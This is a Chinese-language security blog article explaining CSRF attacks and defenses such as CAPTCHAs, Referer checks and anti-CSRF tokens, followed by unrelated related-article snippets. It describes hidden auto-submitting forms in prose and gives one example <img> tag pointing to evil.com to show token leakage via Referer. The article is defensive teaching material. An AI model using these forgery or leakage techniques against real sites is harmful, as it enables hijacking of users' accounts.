跨站点请求伪造(CSRF)类漏洞攻击方式与防御措施|软件安全测试技术系列

news/2025/2/21 9:47:07

本系列文章分享JavaScript语言常见的安全漏洞,漏洞的原理,可能导致的安全问题,以及如何防御与避免。本文分享的是跨站点请求伪造(Cross Sites Request Forgery)。

跨站点请求伪造,指利用用户身份操作用户账户的一种攻击方式,即攻击者诱使用户访问一个页面,就以该用户身份在第三方有害站点中执行了一次操作,泄露了用户的身份信息,接着攻击者就可以使用这个伪造的,但真实存在的身份信息,到某网站冒充用户执行恶意操作。

但是,攻击者只有预测到URL的所有参数与参数值,才能成功地伪造一个请求(当然了,他可以在安全站点里以自己的身份实际去操作一下,还是能拿到参数的);反之,攻击者无法攻击成功

下图通俗解释什么是CSRF,又是如何给用户带来危害的

参考上图,我们可以总结,完成一次CSRF攻击,必须满足两个条件

用户登录受信任网站B,并且在本地生成Cookie

在不登出网站B的情况下,访问有害网站C

CSRF的原理

CSRF攻击是攻击者利用**`用户身份`**操作用户账户的一种攻击方式

CSRF的攻击方式

1.浏览器的Cookie策略

浏览器所持有的策略一般分为两种:

l Session Cookie,临时Cookie。保存在浏览器进程的内存中,浏览器关闭了即失效。

l Third-party Cookie,本地Cookie。服务器在Set-Cookie时指定了Expire Time。过期了本地Cookie失效,则网站会要求用户重新登录。

* 在浏览网站的过程中,即使浏览器打开了Tab页,Session Cookie都是有效的,因此发起CSRF攻击是可行的。

2.P3P头的副作用

"P3P Header"是 "W3C" 制定的一项关于隐私的标准,全称是 "The Platform for Privacy Preference"(隐私偏好平台)

如果网站返回给浏览器的 HTTP 头包含有 P3P 头,则在某种程度上来说,将允许 浏览器发送第三方 Cookie。在 IE 下即使是"<iframe>"、`<script>`等标签页将不再拦截第三方 Cookie 的发送。主要应用在类似广告等需要跨域访问的页面。

3.GET,POST请求

* 这里有个误区

大多数 CSRF 攻击,都是通过 <img> 、 <iframe> 、 <script> 等带 src 属性的标签,这类标签只能发送一次 GET 请求,而不能发送 POST 请求,由此也有了认为 CSRF 攻击只能由 GET 请求发起的错误观点。

构造一个 POST 请求,只需要在一个不可见的iframe窗口中,构造一个form表单,然后使用JavaScript自动提交这个表单。那么整个自动提交表单的过程,对于用户来说就是不可见的。

CSRF的防御方式

1.验证码

原理:

CSRF攻击过程中,用户在不知情的情况下构造了网络请求,添加验证码后,强制用户必须与应用进行交互

* 优点:简洁而有效

* 缺点:网站不能给所有的操作都加上验证码

2.Referer Check

原理:

* 利用HTTP头中的Referer判断请求来源是否合法

* Referer首部包含了当前请求页面的来源页面的地址,一般情况下Referer的来源页就是发起请求的那个页面,如果是在iframe中发起的请求,那么对应的页面URL就是iframe的src

* 优点:简单易操作(只需要在最后给所有安全敏感的请求统一添加一个拦截器来检查Referer的值就行)

* 缺点:服务器并非什么时候都能取到Referer

1)很多出于保护用户隐私的考虑,限制了Referer的发送。

2)比如从HTTPS跳转到HTTP,出于安全的考虑,浏览器不会发送Referer

3.使用Anti CSRF Token

原理:把参数加密,或者使用一些随机数,从而让攻击者无法猜测到参数值,也就无法构造请求的 URL,也就无法发起 CSRF 攻击。

例子(增加token):

* 比如一个删除操作的URL是:`http://host/path/delete?uesrname=abc&item=123`

* 保持原参数不变,新增一个参数Token,Token值是随机的,不可预测

* http://host/path/delete?username=abc&item=123&token=[random(seed)]

* 优点:比检查Referer方法更安全,并且不涉及用户隐私

* 缺点:

加密

1)加密后的URL非常难读,对用户非常不友好

2)加密的参数每次都在改变,导致用户无法对页面进行搜索

3)普通参数也会被加密或哈希,将会给DBA工作带来很大的困扰,因为数据分析常常需要用到参数的明文

token

对所有的请求都添加Token比较困难

需要注意的点

Token需要足够随机,必须用足够安全的随机数生成算法

Token应该为用户和服务器所共同持有,不能被第三方知晓

Token可以放在用户的Session或者浏览器的Cookie中

尽量把Token放在表单中,把敏感操作由GET改为POST,以form表单的形式提交,可以避免Token泄露(比如一个页面:http://host/path/manage?username=abc&token=[random],在此页面用户需要在这个页面提交表单或者单击“删除”按钮,才能完成删除操作,在这种场景下,如果这个页面包含了一张攻击者能指定地址的图片<img src="http://evil.com/notexist" />,则这个页面地址会作为HTTP请求的Refer发送到evil.com的服务器上,从而导致Token泄露)

后续会继续为大家介绍其他类型的安全漏洞,期待你的关注。

(谢绝转载,更多内容可查看我的专栏)


http://www.niftyadmin.cn/n/5860637.html

相关文章

前端vue的一些常见项目启动命令

# 1. 清理旧依赖 Windows命令 rmdir /s /q node_modules del package-lock.json# 2. 重新安装依赖 npm install# 3. 启动项目 npm run serve 1. 清除缓存并重新安装依赖 # 清除 npm/yarn 缓存 npm cache clean --force # 或 yarn cache clean# 删除 node_modules 和 lock 文件…

【相聚青岛】人工智能与材料国际学术会议即将召开

一、大会简介 人工智能与材料国际会议&#xff08;ICAIM 2025&#xff09; 官方网站&#xff1a;www.ic-aim.net 官方邮箱&#xff1a;icaim2025163.com 会议时间&#xff1a;2025年3.21-24 会议地点&#xff1a;中国青岛 会议检索&#xff1a;EI检索 截稿时间&#xff1a;2月…

idea-代码补全快捷键

文章目录 前言idea-代码补全快捷键1. 基本补全2. 类型匹配补全3. 后缀补全4. 代码补全 前言 如果您觉得有用的话&#xff0c;记得给博主点个赞&#xff0c;评论&#xff0c;收藏一键三连啊&#xff0c;写作不易啊^ _ ^。   而且听说点赞的人每天的运气都不会太差&#xff0c;…

Jenkins 节点 Node 概念

Jenkins 节点 Node 概念 Jenkins有一个很强大的功能:分布式构建 Jenkins 中 节点(Node) 是 Jenkins 用于执行构建任务的机器 节点的主要作用是提供构建和测试任务的运行环境 通过使用多个节点&#xff0c;Jenkins 可以分布式地执行构建任务&#xff0c;从而提高效率和并行处理…

【机器学习】衡量线性回归算法最好的指标:R Squared

衡量线性回归算法最好的指标&#xff1a;R Squared 一、摘要二、回归算法评价指标与R Squared指标介绍三、R Squared的编程实践 一、摘要 本文主要介绍了线性回归算法中用于衡量模型优劣的重要指标——R Squared&#xff08;R方&#xff09;。R方用于比较模型预测结果与实际结…

1224 最大子矩阵(动态规划+最大子段和)

最大子矩阵: 1.朴素解法(6 层循环) 两层循环枚举所有的左上角点(lx&#xff0c;ly) 两层循环枚举所有的右下角点(rx&#xff0c;ry) 两层循环针对左上角点(lx,ly)到右下角点(rx&#xff0c;ry)围成的矩阵求和 2.一维前缀和优化(5 层循环) 两层循环枚举所有的左上角点(lx&#x…

敏捷开发06:用户故事估算方法介绍

估算介绍 在以前开发 IT 软件时&#xff0c;使用较多的衡量软件开发工作量的单位是&#xff1a;小时、人天 或 人月。它是预估开发时间。比如&#xff1a;这个功能张三一个人开发需要 3 天时间完成。 这种 “人天” 估算只是 “理想人天” 的估算&#xff0c;有时与实际开发完…

【科研绘图系列】R语言绘制小提琴图、散点图和韦恩图(violin scatter plot Venn)

禁止商业或二改转载,仅供自学使用,侵权必究,如需截取部分内容请后台联系作者! 文章目录 介绍加载R包数据下载画图1画图2画图3画图4画图5画图6画图7参考介绍 【科研绘图系列】R语言绘制小提琴图、散点图和韦恩图(violin & scatter plot & Venn) 加载R包 library…